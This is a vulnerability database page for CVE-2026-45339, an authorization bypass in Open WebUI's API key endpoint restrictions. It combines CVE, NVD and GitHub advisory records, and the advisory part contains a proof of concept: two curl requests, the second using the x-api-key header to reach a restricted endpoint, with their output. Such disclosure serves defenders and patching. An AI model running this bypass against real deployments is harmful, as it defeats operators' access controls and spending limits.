Vulnerability-Lookup

CVE-2026-45339 (GCVE-0-2026-45339)

Vulnerability from cvelistv5 – Published: 2026-05-15 19:21 – Updated: 2026-05-19 03:55

Title

Open WebUI: API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned. This vulnerability is fixed in 0.9.0.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.9.0

Show details on NVD website

JSON

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FKIE_CVE-2026-45339

Vulnerability from fkie_nvd - Published: 2026-05-15 20:16 - Updated: 2026-05-19 03:07

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	openwebui	open_webui	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "0FB90EC3-1665-446E-AA35-4AEC207A2F3B",
              "versionEndExcluding": "0.9.0",
              "vulnerable": true
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          "operator": "OR"
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  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely \u2014 the request is authenticated, the model is invoked, and a full response is returned. This vulnerability is fixed in 0.9.0."
    }
  ],
  "id": "CVE-2026-45339",
  "lastModified": "2026-05-19T03:07:48.750",
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          "attackVector": "NETWORK",
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          "baseScore": 6.5,
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          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
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GHSA-57Q6-FVP4-PQMM

Vulnerability from github – Published: 2026-05-14 20:21 – Updated: 2026-05-15 23:53

Summary

Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints

Details

Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

Details

Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.

PoC

Verified against Open WebUI v0.8.11.

Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.

API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "Authorization: Bearer $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "x-api-key: $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'

Verified output:

# Authorization header:
{"detail":"API key not allowed to access this endpoint."}

# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}

The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).

Impact

Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:

Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
Keys restricted from admin endpoints may access admin functionality
The operator's intended access control is silently ineffective
API credit spend cannot be controlled through endpoint restrictions

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:21:26Z",
    "nvd_published_at": "2026-05-15T20:16:48Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nOpen WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from `/api/v1/messages`, requests using the `Authorization: Bearer sk-...` header are correctly blocked with 403. However, the same key sent via the `x-api-key` header bypasses the restriction entirely \u2014 the request is authenticated, the model is invoked, and a full response is returned.\n\n### Details\n\nOpen WebUI\u0027s Anthropic-compatible API path accepts authentication via `x-api-key` header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the `Authorization` header. When the same `sk-...` key is supplied in `x-api-key`, the restriction check is skipped but the key is still valid for authentication.\n\nThis means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using `x-api-key` instead of `Authorization`.\n\n### PoC\n\n**Verified against Open WebUI v0.8.11.**\n\n**Setup:** Admin creates a user with an API key that has endpoint restrictions (not allowed on `/api/v1/messages`). A mock OpenAI-compatible model (`mock-model`) is configured.\n\n```bash\nAPI_KEY=\"sk-dc56016d720e49ba9e95584d602b79bb\"\n\n# Test 1: Authorization header \u2014 BLOCKED (endpoint restriction enforced)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"Authorization: Bearer $API_KEY\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via Authorization header\"}]}\u0027\n\n# Test 2: x-api-key header \u2014 BYPASS (same key, restriction skipped)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via x-api-key header\"}]}\u0027\n```\n\n**Verified output:**\n\n```\n# Authorization header:\n{\"detail\":\"API key not allowed to access this endpoint.\"}\n\n# x-api-key header (SAME key):\n{\"id\":\"chatcmpl-mock\",\"type\":\"message\",\"role\":\"assistant\",\"content\":[{\"type\":\"text\",\"text\":\"MOCK-CHAT-RESPONSE\"}],\"model\":\"mock-model\",\"usage\":{\"input_tokens\":1,\"output_tokens\":1}}\n```\n\nThe same API key is rejected via `Authorization` (403) but fully processed via `x-api-key` (200 with model response).\n\n### Impact\n\nAny API key with endpoint restrictions can bypass those restrictions by using the `x-api-key` header instead of `Authorization`. This undermines the entire API key permission model:\n\n- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses\n- Keys restricted from admin endpoints may access admin functionality\n- The operator\u0027s intended access control is silently ineffective\n- API credit spend cannot be controlled through endpoint restrictions",
  "id": "GHSA-57q6-fvp4-pqmm",
  "modified": "2026-05-15T23:53:55Z",
  "published": "2026-05-14T20:21:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45339"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI\u0027s API key endpoint restrictions bypassed via `x-api-key` header \u2014 full message processing on restricted endpoints"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-45339 (GCVE-0-2026-45339)

FKIE_CVE-2026-45339

GHSA-57Q6-FVP4-PQMM

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature